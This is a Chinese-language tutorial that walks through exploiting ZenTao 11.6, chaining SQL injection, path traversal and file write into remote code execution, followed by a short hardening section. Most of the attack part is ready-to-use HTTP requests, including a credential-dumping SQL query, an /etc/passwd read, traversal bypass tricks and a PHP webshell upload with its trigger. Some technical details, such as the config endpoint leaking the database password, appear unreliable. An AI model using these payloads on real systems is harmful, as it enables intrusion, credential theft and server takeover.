手把手复现禅道11.6后台漏洞:从SQL注入到RCE的完整攻击链分析
禅道11.6漏洞链深度剖析:从SQL注入到系统沦陷的实战路径
在开源项目管理领域,禅道凭借其完整的功能矩阵长期占据重要地位。但当系统存在多个安全缺陷时,攻击者往往能通过漏洞组合实现权限升级。本文将还原一个典型的攻击链路:从低危的SQL注入开始,通过参数传递机制缺陷逐步突破边界,最终完成远程代码执行的完整过程。
1. 环境搭建与初始侦查
搭建测试环境建议使用XAMPP集成包配合禅道11.6版本,确保与漏洞环境完全匹配。关键配置要点包括:
- PHP版本需锁定5.6.x(与漏洞触发条件强相关)
- MySQL启用宽松模式(模拟真实企业环境)
- 关闭所有PHP安全过滤扩展(如magic_quotes_gpc)
初始信息收集技巧:
GET /zentao/index.php?mode=getconfig HTTP/1.1 Host: target.com这个看似无害的版本查询请求,实际上会返回包括数据库配置、安装路径在内的敏感信息。通过Burp Suite拦截响应可观察到:
"dbHost":"localhost", "dbUser":"root", "dbPassword":"zentao123", "installRoot":"C:\\xampp\\zentao"2. 参数传递机制的安全盲区
禅道的路由解析存在设计缺陷,其router.class.php中PATH_INFO模式使用连字符分割参数,但未对参数做类型校验。观察以下关键代码段:
// zentao/framework/base/router.class.php public function setRouteByPathInfo($pathInfo) { $parts = explode('-', $pathInfo); $this->moduleName = $parts[0]; $this->methodName = $parts[1]; // 无过滤直接赋值 }这种宽松处理导致攻击者可以构造特殊参数链,例如:
api-getModel-api-sql-sql=[注入语句]实际形成的方法调用链为:
- 调用api模块的getModel方法
- 在getModel中继续调用api模块的sql方法
- 将sql参数直接拼接查询
3. SQL注入的精准利用
通过前期的路由分析,构造突破认证的注入Payload:
GET /zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user+where+account%3d'admin' HTTP/1.1关键突破点在于api/model.php中的危险逻辑:
public function sql($sql) { if(stripos($sql, 'select') === 0) { return $this->dao->query($sql); // 直接执行未过滤 } }获取管理员凭证后,攻击者通常会进行以下操作:
- 修改会话令牌维持访问
- 提取其他系统用户信息用于横向移动
- 查询数据库配置为后续渗透做准备
4. 文件操作漏洞的连锁反应
利用已获取的权限,通过文件读取漏洞获取系统关键信息:
GET /zentao/api-getModel-file-parseCSV-fileName=../../../../etc/passwd HTTP/1.1漏洞根源在于file/model.php中的路径处理缺陷:
public function parseCSV($fileName) { $content = file_get_contents($fileName); // 直接读取 return explode("\n", $content); }虽然系统有parsePathInfo()函数进行过滤,但可通过以下方式绕过:
- 使用多重
../跳转目录 - 利用Windows特性(如
C:\windows\win.ini) - 结合编码混淆(如URL编码、双重编码)
5. 实现RCE的终极突破
组合利用文件写入和包含漏洞完成代码执行,分两个阶段实施:
阶段一:植入Webshell
POST /zentao/api-getModel-editor-save-filePath=shell.php HTTP/1.1 <?php system($_GET['cmd']);?>阶段二:触发执行
GET /zentao/api-getModel-api-getMethod-filePath=shell.php/1?cmd=whoami HTTP/1.1技术原理:
editor/model.php中的save方法未校验文件内容helper.class.php的import方法存在动态包含漏洞- 通过
dirname()函数特性绕过路径检查(需多级目录)
6. 防御策略与加固方案
针对此类漏洞链,建议实施分层防御:
代码层防护
// 安全的参数处理示例 function safeParam($input) { if(preg_match('/\.\.|\0|\'/i', $input)) { throw new Exception('Invalid input'); } return realpath($input); }系统层加固
- 禁用危险函数(如
file_get_contents、system) - 配置open_basedir限制文件访问范围
- 对数据库操作强制使用预处理语句
运维监控建议
- 部署WAF规则拦截异常参数模式
- 监控敏感文件变更(如.php文件创建)
- 建立SQL注入尝试的实时告警机制
